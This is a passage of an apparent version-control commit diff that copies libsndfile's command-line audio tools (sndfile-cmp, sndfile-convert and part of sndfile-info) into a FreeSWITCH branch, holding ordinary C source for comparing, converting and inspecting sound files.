+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#include <sndfile.h>
+
+typedef struct
+{	const char * title ;
+	const char * copyright ;
+	const char * artist ;
+	const char * comment ;
+	const char * date ;
+	const char * album ;
+	const char * license ;
+
+
+	/* Stuff to go in the 'bext' chunk of WAV files. */
+	int has_bext_fields ;
+	int coding_hist_append ;
+
+	const char * description ;
+	const char * originator ;
+	const char * originator_reference ;
+	const char * origination_date ;
+	const char * origination_time ;
+	const char * umid ;
+	const char * coding_history ;
+} METADATA_INFO ;
+
+typedef SF_BROADCAST_INFO_VAR (2048) SF_BROADCAST_INFO_2K ;
+
+void sfe_apply_metadata_changes (const char * filenames [2], const METADATA_INFO * info) ;
+
+void sfe_copy_data_fp (SNDFILE *outfile, SNDFILE *infile, int channels) ;
+
+void sfe_copy_data_int (SNDFILE *outfile, SNDFILE *infile, int channels) ;

Deleted: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-cmp.c

Copied: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-cmp.c (from rev 14471, freeswitch/trunk/libs/libsndfile/programs/sndfile-cmp.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/programs/sndfile-cmp.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/programs/sndfile-cmp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,159 @@
+/*
+** Copyright (C) 2008-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** All rights reserved.
+**
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**
+**     * Redistributions of source code must retain the above copyright
+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+/* sndfile-cmp.c
+ * Conrad Parker 2008
+ */
+
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <string.h>
+
+#include <sndfile.h>
+
+/* Length of comparison data buffers in units of items */
+#define BUFLEN 65536
+
+static char * progname ;
+static char * filename1, * filename2 ;
+
+static int
+comparison_error (const char * what)
+{	printf ("%s: %s of files %s and %s differ\n", progname, what, filename1, filename2) ;
+	return 1 ;
+} /* comparison_error */
+
+static int
+compare (void)
+{
+	double buf1 [BUFLEN], buf2 [BUFLEN] ;
+	SF_INFO sfinfo1, sfinfo2 ;
+	SNDFILE * sf1 = NULL, * sf2 = NULL ;
+	sf_count_t len, i, nread1, nread2 ;
+	int retval = 0 ;
+
+	memset (&sfinfo1, 0, sizeof (SF_INFO)) ;
+	sf1 = sf_open (filename1, SFM_READ, &sfinfo1) ;
+	if (sf1 == NULL)
+	{	printf ("Error opening %s.\n", filename1) ;
+		retval = 1 ;
+		goto out ;
+		} ;
+
+	memset (&sfinfo2, 0, sizeof (SF_INFO)) ;
+	sf2 = sf_open (filename2, SFM_READ, &sfinfo2) ;
+	if (sf2 == NULL)
+	{	printf ("Error opening %s.\n", filename2) ;
+		retval = 1 ;
+		goto out ;
+		} ;
+
+	if (sfinfo1.samplerate != sfinfo2.samplerate)
+	{	retval = comparison_error ("Samplerates") ;
+		goto out ;
+		} ;
+
+	if (sfinfo1.channels != sfinfo2.channels)
+	{	retval = comparison_error ("Number of channels") ;
+		goto out ;
+		} ;
+
+	/* Calculate the framecount that will fit in our data buffers */
+	len = BUFLEN / sfinfo1.channels ;
+
+	while ( (nread1 = sf_readf_double (sf1, buf1, len)) > 0)
+	{	nread2 = sf_readf_double (sf2, buf2, nread1) ;
+		if (nread2 != nread1)
+		{	retval = comparison_error ("PCM data lengths") ;
+			goto out ;
+			} ;
+		for (i = 0 ; i < nread1 ; i++)
+		{	if (buf1 [i] != buf2 [i])
+			{	retval = comparison_error ("PCM data") ;
+				goto out ;
+				} ;
+			} ;
+		} ;
+
+	if ( (nread2 = sf_readf_double (sf2, buf2, nread1)) != 0)
+	{	retval = comparison_error ("PCM data lengths") ;
+		goto out ;
+		} ;
+
+out :
+	sf_close (sf1) ;
+	sf_close (sf2) ;
+
+	return retval ;
+} /* compare */
+
+static void
+print_version (void)
+{	char buffer [256] ;
+
+	sf_command (NULL, SFC_GET_LIB_VERSION, buffer, sizeof (buffer)) ;
+	printf ("\nVersion : %s\n\n", buffer) ;
+} /* print_version */
+
+static void
+print_usage (void)
+{
+	print_version () ;
+
+	printf ("Usage : %s <filename> <filename>\n", progname) ;
+	printf ("	Compare the PCM data of two sound files.\n\n") ;
+} /* print_usage */
+
+int
+main (int argc, char *argv [])
+{
+	progname = strrchr (argv [0], '/') ;
+	progname = progname ? progname + 1 : argv [0] ;
+
+	if (argc != 3)
+	{	print_usage () ;
+		return 1 ;
+		} ;
+
+	filename1 = argv [argc - 2] ;
+	filename2 = argv [argc - 1] ;
+
+	if (strcmp (filename1, filename2) == 0)
+	{	printf ("Error : Input filenames are the same.\n\n") ;
+		print_usage () ;
+		return 1 ;
+		} ;
+
+	return compare () ;
+} /* main */

Deleted: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-convert.c

Copied: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-convert.c (from rev 14471, freeswitch/trunk/libs/libsndfile/programs/sndfile-convert.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/programs/sndfile-convert.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/programs/sndfile-convert.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,369 @@
+/*
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** All rights reserved.
+**
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**
+**     * Redistributions of source code must retain the above copyright
+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+
+#include <sndfile.h>
+
+#include "common.h"
+
+
+typedef	struct
+{	char	*infilename, *outfilename ;
+	SF_INFO	infileinfo, outfileinfo ;
+} OptionData ;
+
+typedef struct
+{	const char	*ext ;
+	int			len ;
+	int			format ;
+} OUTPUT_FORMAT_MAP ;
+
+static void copy_metadata (SNDFILE *outfile, SNDFILE *infile) ;
+
+static OUTPUT_FORMAT_MAP format_map [] =
+{
+	{	"aif",		3,	SF_FORMAT_AIFF	},
+	{	"wav", 		0,	SF_FORMAT_WAV	},
+	{	"au",		0,	SF_FORMAT_AU	},
+	{	"caf",		0,	SF_FORMAT_CAF	},
+	{	"flac",		0,	SF_FORMAT_FLAC	},
+	{	"snd",		0,	SF_FORMAT_AU	},
+	{	"svx",		0,	SF_FORMAT_SVX	},
+	{	"paf",		0,	SF_ENDIAN_BIG | SF_FORMAT_PAF	},
+	{	"fap",		0,	SF_ENDIAN_LITTLE | SF_FORMAT_PAF	},
+	{	"gsm",		0,	SF_FORMAT_RAW	},
+	{	"nist", 	0,	SF_FORMAT_NIST	},
+	{	"htk",		0,	SF_FORMAT_HTK	},
+	{	"ircam",	0,	SF_FORMAT_IRCAM	},
+	{	"sf",		0, 	SF_FORMAT_IRCAM	},
+	{	"voc",		0, 	SF_FORMAT_VOC	},
+	{	"w64", 		0, 	SF_FORMAT_W64	},
+	{	"raw",		0,	SF_FORMAT_RAW	},
+	{	"mat4", 	0,	SF_FORMAT_MAT4	},
+	{	"mat5", 	0, 	SF_FORMAT_MAT5 	},
+	{	"mat",		0, 	SF_FORMAT_MAT4 	},
+	{	"pvf",		0, 	SF_FORMAT_PVF 	},
+	{	"sds",		0, 	SF_FORMAT_SDS 	},
+	{	"sd2",		0, 	SF_FORMAT_SD2 	},
+	{	"vox",		0, 	SF_FORMAT_RAW 	},
+	{	"xi",		0, 	SF_FORMAT_XI 	},
+	{	"wve",		0,	SF_FORMAT_WVE	},
+	{	"oga",		0,	SF_FORMAT_OGG	},
+	{	"mpc",		0,	SF_FORMAT_MPC2K	},
+	{	"rf64",		0,	SF_FORMAT_RF64	},
+} ; /* format_map */
+
+static int
+guess_output_file_type (char *str, int format)
+{	char	buffer [16], *cptr ;
+	int		k ;
+
+	format &= SF_FORMAT_SUBMASK ;
+
+	if ((cptr = strrchr (str, '.')) == NULL)
+		return 0 ;
+
+	strncpy (buffer, cptr + 1, 15) ;
+	buffer [15] = 0 ;
+
+	for (k = 0 ; buffer [k] ; k++)
+		buffer [k] = tolower ((buffer [k])) ;
+
+	if (strcmp (buffer, "gsm") == 0)
+		return SF_FORMAT_RAW | SF_FORMAT_GSM610 ;
+
+	if (strcmp (buffer, "vox") == 0)
+		return SF_FORMAT_RAW | SF_FORMAT_VOX_ADPCM ;
+
+	for (k = 0 ; k < (int) (sizeof (format_map) / sizeof (format_map [0])) ; k++)
+	{	if (format_map [k].len > 0 && strncmp (buffer, format_map [k].ext, format_map [k].len) == 0)
+			return format_map [k].format | format ;
+		else if (strcmp (buffer, format_map [k].ext) == 0)
+			return format_map [k].format | format ;
+		} ;
+
+	return	0 ;
+} /* guess_output_file_type */
+
+
+static void
+print_usage (char *progname)
+{	SF_FORMAT_INFO	info ;
+
+	int k ;
+
+	printf ("\nUsage : %s [options] [encoding] <input file> <output file>\n", progname) ;
+	puts ("\n"
+		"    where [option] may be:\n\n"
+		"        -override-sample-rate=X  : force sample rate of input to X\n\n"
+		) ;
+
+	puts ("\n"
+		"    where [encoding] may be one of the following:\n\n"
+		"        -pcms8     : force the output to signed 8 bit pcm\n"
+		"        -pcmu8     : force the output to unsigned 8 bit pcm\n"
+		"        -pcm16     : force the output to 16 bit pcm\n"
+		"        -pcm24     : force the output to 24 bit pcm\n"
+		"        -pcm32     : force the output to 32 bit pcm\n"
+		"        -float32   : force the output to 32 bit floating point"
+		) ;
+	puts (
+		"        -ulaw      : force the output ULAW\n"
+		"        -alaw      : force the output ALAW\n"
+		"        -ima-adpcm : force the output to IMA ADPCM (WAV only)\n"
+		"        -ms-adpcm  : force the output to MS ADPCM (WAV only)\n"
+		"        -gsm610    : force the GSM6.10 (WAV only)\n"
+		"        -dwvw12    : force the output to 12 bit DWVW (AIFF only)\n"
+		"        -dwvw16    : force the output to 16 bit DWVW (AIFF only)\n"
+		"        -dwvw24    : force the output to 24 bit DWVW (AIFF only)\n"
+		"        -vorbis    : force the output to Vorbis (OGG only)\n"
+		) ;
+
+	puts (
+		"    The format of the output file is determined by the file extension of the\n"
+		"    output file name. The following extensions are currently understood:\n"
+		) ;
+
+	for (k = 0 ; k < (int) (sizeof (format_map) / sizeof (format_map [0])) ; k++)
+	{	info.format = format_map [k].format ;
+		sf_command (NULL, SFC_GET_FORMAT_INFO, &info, sizeof (info)) ;
+		printf ("        %-10s : %s\n", format_map [k].ext, info.name) ;
+		} ;
+
+	puts ("") ;
+} /* print_usage */
+
+int
+main (int argc, char * argv [])
+{	char 		*progname, *infilename, *outfilename ;
+	SNDFILE	 	*infile = NULL, *outfile = NULL ;
+	SF_INFO	 	sfinfo ;
+	int			k, outfilemajor, outfileminor = 0, infileminor ;
+	int			override_sample_rate = 0 ; /* assume no sample rate override. */
+
+	progname = strrchr (argv [0], '/') ;
+	progname = progname ? progname + 1 : argv [0] ;
+
+	if (argc < 3 || argc > 5)
+	{	print_usage (progname) ;
+		return 1 ;
+		} ;
+
+	infilename = argv [argc-2] ;
+	outfilename = argv [argc-1] ;
+
+	if (strcmp (infilename, outfilename) == 0)
+	{	printf ("Error : Input and output filenames are the same.\n\n") ;
+		print_usage (progname) ;
+		return 1 ;
+		} ;
+
+	if (infilename [0] == '-')
+	{	printf ("Error : Input filename (%s) looks like an option.\n\n", infilename) ;
+		print_usage (progname) ;
+		return 1 ;
+		} ;
+
+	if (outfilename [0] == '-')
+	{	printf ("Error : Output filename (%s) looks like an option.\n\n", outfilename) ;
+		print_usage (progname) ;
+		return 1 ;
+		} ;
+
+	for (k = 1 ; k < argc - 2 ; k++)
+	{	if (! strcmp (argv [k], "-pcms8"))
+		{	outfileminor = SF_FORMAT_PCM_S8 ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-pcmu8"))
+		{	outfileminor = SF_FORMAT_PCM_U8 ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-pcm16"))
+		{	outfileminor = SF_FORMAT_PCM_16 ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-pcm24"))
+		{	outfileminor = SF_FORMAT_PCM_24 ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-pcm32"))
+		{	outfileminor = SF_FORMAT_PCM_32 ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-float32"))
+		{	outfileminor = SF_FORMAT_FLOAT ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-ulaw"))
+		{	outfileminor = SF_FORMAT_ULAW ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-alaw"))
+		{	outfileminor = SF_FORMAT_ALAW ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-ima-adpcm"))
+		{	outfileminor = SF_FORMAT_IMA_ADPCM ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-ms-adpcm"))
+		{	outfileminor = SF_FORMAT_MS_ADPCM ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-gsm610"))
+		{	outfileminor = SF_FORMAT_GSM610 ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-dwvw12"))
+		{	outfileminor = SF_FORMAT_DWVW_12 ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-dwvw16"))
+		{	outfileminor = SF_FORMAT_DWVW_16 ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-dwvw24"))
+		{	outfileminor = SF_FORMAT_DWVW_24 ;
+			continue ;
+			} ;
+		if (! strcmp (argv [k], "-vorbis"))
+		{	outfileminor = SF_FORMAT_VORBIS ;
+			continue ;
+			} ;
+
+		if (strstr (argv [k], "-override-sample-rate=") == argv [k])
+		{	const char *ptr ;
+
+			ptr = argv [k] + strlen ("-override-sample-rate=") ;
+			override_sample_rate = atoi (ptr) ;
+			continue ;
+			} ;
+
+		printf ("Error : Not able to decode argunment '%s'.\n", argv [k]) ;
+		exit (1) ;
+		} ;
+
+	if ((infile = sf_open (infilename, SFM_READ, &sfinfo)) == NULL)
+	{	printf ("Not able to open input file %s.\n", infilename) ;
+		puts (sf_strerror (NULL)) ;
+		return 1 ;
+		} ;
+
+	/* Update sample rate if forced to something else. */
+	if (override_sample_rate)
+		sfinfo.samplerate = override_sample_rate ;
+
+	infileminor = sfinfo.format & SF_FORMAT_SUBMASK ;
+
+	if ((sfinfo.format = guess_output_file_type (outfilename, sfinfo.format)) == 0)
+	{	printf ("Error : Not able to determine output file type for %s.\n", outfilename) ;
+		return 1 ;
+		} ;
+
+	outfilemajor = sfinfo.format & (SF_FORMAT_TYPEMASK | SF_FORMAT_ENDMASK) ;
+
+	if (outfileminor == 0)
+		outfileminor = sfinfo.format & SF_FORMAT_SUBMASK ;
+
+	if (outfileminor != 0)
+		sfinfo.format = outfilemajor | outfileminor ;
+	else
+		sfinfo.format = outfilemajor | (sfinfo.format & SF_FORMAT_SUBMASK) ;
+
+	if ((sfinfo.format & SF_FORMAT_TYPEMASK) == SF_FORMAT_XI)
+		switch (sfinfo.format & SF_FORMAT_SUBMASK)
+		{	case SF_FORMAT_PCM_16 :
+					sfinfo.format = outfilemajor | SF_FORMAT_DPCM_16 ;
+					break ;
+
+			case SF_FORMAT_PCM_S8 :
+			case SF_FORMAT_PCM_U8 :
+					sfinfo.format = outfilemajor | SF_FORMAT_DPCM_8 ;
+					break ;
+			} ;
+
+	if (sf_format_check (&sfinfo) == 0)
+	{	printf ("Error : output file format is invalid (0x%08X).\n", sfinfo.format) ;
+		return 1 ;
+		} ;
+
+	/* Open the output file. */
+	if ((outfile = sf_open (outfilename, SFM_WRITE, &sfinfo)) == NULL)
+	{	printf ("Not able to open output file %s : %s\n", outfilename, sf_strerror (NULL)) ;
+		return 1 ;
+		} ;
+
+	/* Copy the metadata */
+	copy_metadata (outfile, infile) ;
+
+	if ((outfileminor == SF_FORMAT_DOUBLE) || (outfileminor == SF_FORMAT_FLOAT)
+			|| (infileminor == SF_FORMAT_DOUBLE) || (infileminor == SF_FORMAT_FLOAT)
+			|| (infileminor == SF_FORMAT_VORBIS) || (outfileminor == SF_FORMAT_VORBIS))
+		sfe_copy_data_fp (outfile, infile, sfinfo.channels) ;
+	else
+		sfe_copy_data_int (outfile, infile, sfinfo.channels) ;
+
+	sf_close (infile) ;
+	sf_close (outfile) ;
+
+	return 0 ;
+} /* main */
+
+static void
+copy_metadata (SNDFILE *outfile, SNDFILE *infile)
+{	SF_INSTRUMENT inst ;
+	SF_BROADCAST_INFO_2K binfo ;
+	const char *str ;
+	int k, err = 0 ;
+
+	for (k = SF_STR_FIRST ; k <= SF_STR_LAST ; k++)
+	{	str = sf_get_string (infile, k) ;
+		if (str != NULL)
+			err = sf_set_string (outfile, k, str) ;
+		} ;
+
+	memset (&inst, 0, sizeof (inst)) ;
+	memset (&binfo, 0, sizeof (binfo)) ;
+
+	if (sf_command (infile, SFC_GET_INSTRUMENT, &inst, sizeof (inst)) == SF_TRUE)
+		sf_command (outfile, SFC_SET_INSTRUMENT, &inst, sizeof (inst)) ;
+
+	if (sf_command (infile, SFC_GET_BROADCAST_INFO, &binfo, sizeof (binfo)) == SF_TRUE)
+		sf_command (outfile, SFC_SET_BROADCAST_INFO, &binfo, sizeof (binfo)) ;
+
+} /* copy_metadata */
+

Deleted: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-info.c

Copied: freeswitch/branches/seven/libs/libsndfile/programs/sndfile-info.c (from rev 14471, freeswitch/trunk/libs/libsndfile/programs/sndfile-info.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/programs/sndfile-info.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/programs/sndfile-info.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,386 @@
+/*
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** All rights reserved.
+**
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**
+**     * Redistributions of source code must retain the above copyright
+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#include	<stdio.h>
+#include	<stdlib.h>
+#include	<string.h>
+#include	<inttypes.h>
+#include	<ctype.h>
+#include	<math.h>
+
+#include	<sndfile.h>
+
+#include "common.h"
+
+#define	BUFFER_LEN		(1 << 16)
+
+#if (defined (WIN32) || defined (_WIN32))
+#include <windows.h>
+#define	snprintf	_snprintf
+#endif
+
+static void print_version (void) ;
+static void print_usage (const char *progname) ;
+
+static void info_dump (const char *filename) ;
+static int	instrument_dump (const char *filename) ;
+static int	broadcast_dump (const char *filename) ;
+static void total_dump (void) ;
+
+static double total_seconds = 0.0 ;
+
+int
+main (int argc, char *argv [])
+{	int	k ;
+
+	print_version () ;
+
+	if (argc < 2 || strcmp (argv [1], "--help") == 0 || strcmp (argv [1], "-h") == 0)
+	{	char *progname ;
+
+		progname = strrchr (argv [0], '/') ;
+		progname = progname ? progname + 1 : argv [0] ;
+
+		print_usage (progname) ;
+		return 1 ;
+		} ;
+
+	if (strcmp (argv [1], "-i") == 0)
+	{	int error = 0 ;
+
+		for (k = 2 ; k < argc ; k++)
+			error += instrument_dump (argv [k]) ;
+		return error ;
+		} ;
+
+	if (strcmp (argv [1], "-b") == 0)
+	{	int error = 0 ;
+
+		for (k = 2 ; k < argc ; k++)
+			error += broadcast_dump (argv [k]) ;
+		return error ;
+		} ;
+
+	for (k = 1 ; k < argc ; k++)
+		info_dump (argv [k]) ;
+
+	if (argc > 2)
+		total_dump () ;
+
+	return 0 ;
+} /* main */
+
+/*==============================================================================
+**	Print version and usage.
+*/
+
+static double	data [BUFFER_LEN] ;
+
+static void
+print_version (void)
+{	char buffer [256] ;
+
+	sf_command (NULL, SFC_GET_LIB_VERSION, buffer, sizeof (buffer)) ;
+	printf ("\nVersion : %s\n\n", buffer) ;
+} /* print_version */
+
+
+static void
+print_usage (const char *progname)
+{	printf ("Usage :\n  %s <file> ...\n", progname) ;
+	printf ("    Prints out information about one or more sound files.\n\n") ;
+	printf ("  %s -i <file>\n", progname) ;
+	printf ("    Prints out the instrument data for the given file.\n\n") ;
+	printf ("  %s -b <file>\n", progname) ;
+	printf ("    Prints out the broadcast WAV info for the given file.\n\n") ;
+#if (defined (_WIN32) || defined (WIN32))
+		printf ("This is a Unix style command line application which\n"
+				"should be run in a MSDOS box or Command Shell window.\n\n") ;
+		printf ("Sleeping for 5 seconds before exiting.\n\n") ;
+		fflush (stdout) ;
+
+		/* This is the officially blessed by microsoft way but I can't get
+		** it to link.
+		**     Sleep (15) ;
+		** Instead, use this:
+		*/
+		Sleep (5 * 1000) ;
+#endif
+} /* print_usage */
+
+/*==============================================================================
+**	Dumping of sndfile info.
+*/
+
+static double	data [BUFFER_LEN] ;
+
+static double
+get_signal_max (SNDFILE *file)
+{	double	max ;
+
+	sf_command (file, SFC_CALC_SIGNAL_MAX, &max, sizeof (max)) ;
+
+	return max ;
+} /* get_signal_max */
+
+static double
+calc_decibels (SF_INFO * sfinfo, double max)
+{	double decibels ;
+
+	switch (sfinfo->format & SF_FORMAT_SUBMASK)
+	{	case SF_FORMAT_PCM_U8 :
+		case SF_FORMAT_PCM_S8 :
+			decibels = max / 0x80 ;
+			break ;
+
+		case SF_FORMAT_PCM_16 :
+			decibels = max / 0x8000 ;
+			break ;
+
+		case SF_FORMAT_PCM_24 :
+			decibels = max / 0x800000 ;
+			break ;
+
+		case SF_FORMAT_PCM_32 :
+			decibels = max / 0x80000000 ;
+			break ;
+
+		case SF_FORMAT_FLOAT :
+		case SF_FORMAT_DOUBLE :
+			decibels = max / 1.0 ;
+			break ;
+
+		default :
+			decibels = max / 0x8000 ;
+			break ;
+		} ;
+
+	return 20.0 * log10 (decibels) ;
+} /* calc_decibels */
+
+static const char *
+format_duration_str (double seconds)
+{	static char str [128] ;
+	int hrs, min ;
+	double sec ;
+
+	memset (str, 0, sizeof (str)) ;
+
+	hrs = (int) (seconds / 3600.0) ;
+	min = (int) ((seconds - (hrs * 3600.0)) / 60.0) ;
+	sec = seconds - (hrs * 3600.0) - (min * 60.0) ;
+
+	snprintf (str, sizeof (str) - 1, "%02d:%02d:%06.3f", hrs, min, sec) ;
+
+	return str ;
+} /* format_duration_str */
+
+static const char *
+generate_duration_str (SF_INFO *sfinfo)
+{
+	double seconds ;
+
+	if (sfinfo->samplerate < 1)
+		return NULL ;
+
+	if (sfinfo->frames / sfinfo->samplerate > 0x7FFFFFFF)
+		return "unknown" ;
+
+	seconds = (1.0 * sfinfo->frames) / sfinfo->samplerate ;
+
+	/* Accumulate the total of all known file durations */
+	total_seconds += seconds ;
+
+	return format_duration_str (seconds) ;
+} /* generate_duration_str */
+
+static void
+info_dump (const char *filename)
+{	static	char	strbuffer [BUFFER_LEN] ;
+	SNDFILE	 	*file ;
+	SF_INFO	 	sfinfo ;
+	double		signal_max, decibels ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	if ((file = sf_open (filename, SFM_READ, &sfinfo)) == NULL)
+	{	printf ("Error : Not able to open input file %s.\n", filename) ;
+		fflush (stdout) ;
+		memset (data, 0, sizeof (data)) ;
+		sf_command (file, SFC_GET_LOG_INFO, strbuffer, BUFFER_LEN) ;
+		puts (strbuffer) ;
+		puts (sf_strerror (NULL)) ;
+		return ;
+		} ;
+
+	printf ("========================================\n") ;
+	sf_command (file, SFC_GET_LOG_INFO, strbuffer, BUFFER_LEN) ;
+	puts (strbuffer) ;
+	printf ("----------------------------------------\n") ;
+
+	printf ("Sample Rate : %d\n", sfinfo.samplerate) ;
+	printf ("Frames      : %" PRId64 "\n", sfinfo.frames) ;
+	printf ("Channels    : %d\n", sfinfo.channels) ;
+	printf ("Format      : 0x%08X\n", sfinfo.format) ;
+	printf ("Sections    : %d\n", sfinfo.sections) ;
+	printf ("Seekable    : %s\n", (sfinfo.seekable ? "TRUE" : "FALSE")) ;
+	printf ("Duration    : %s\n", generate_duration_str (&sfinfo)) ;
+
+	if (sfinfo.frames < 100 * 1024 * 1024)
+	{	/* Do not use sf_signal_max because it doesn't work for non-seekable files . */
+		signal_max = get_signal_max (file) ;
+		decibels = calc_decibels (&sfinfo, signal_max) ;
+		printf ("Signal Max  : %g (%4.2f dB)\n", signal_max, decibels) ;
+		} ;
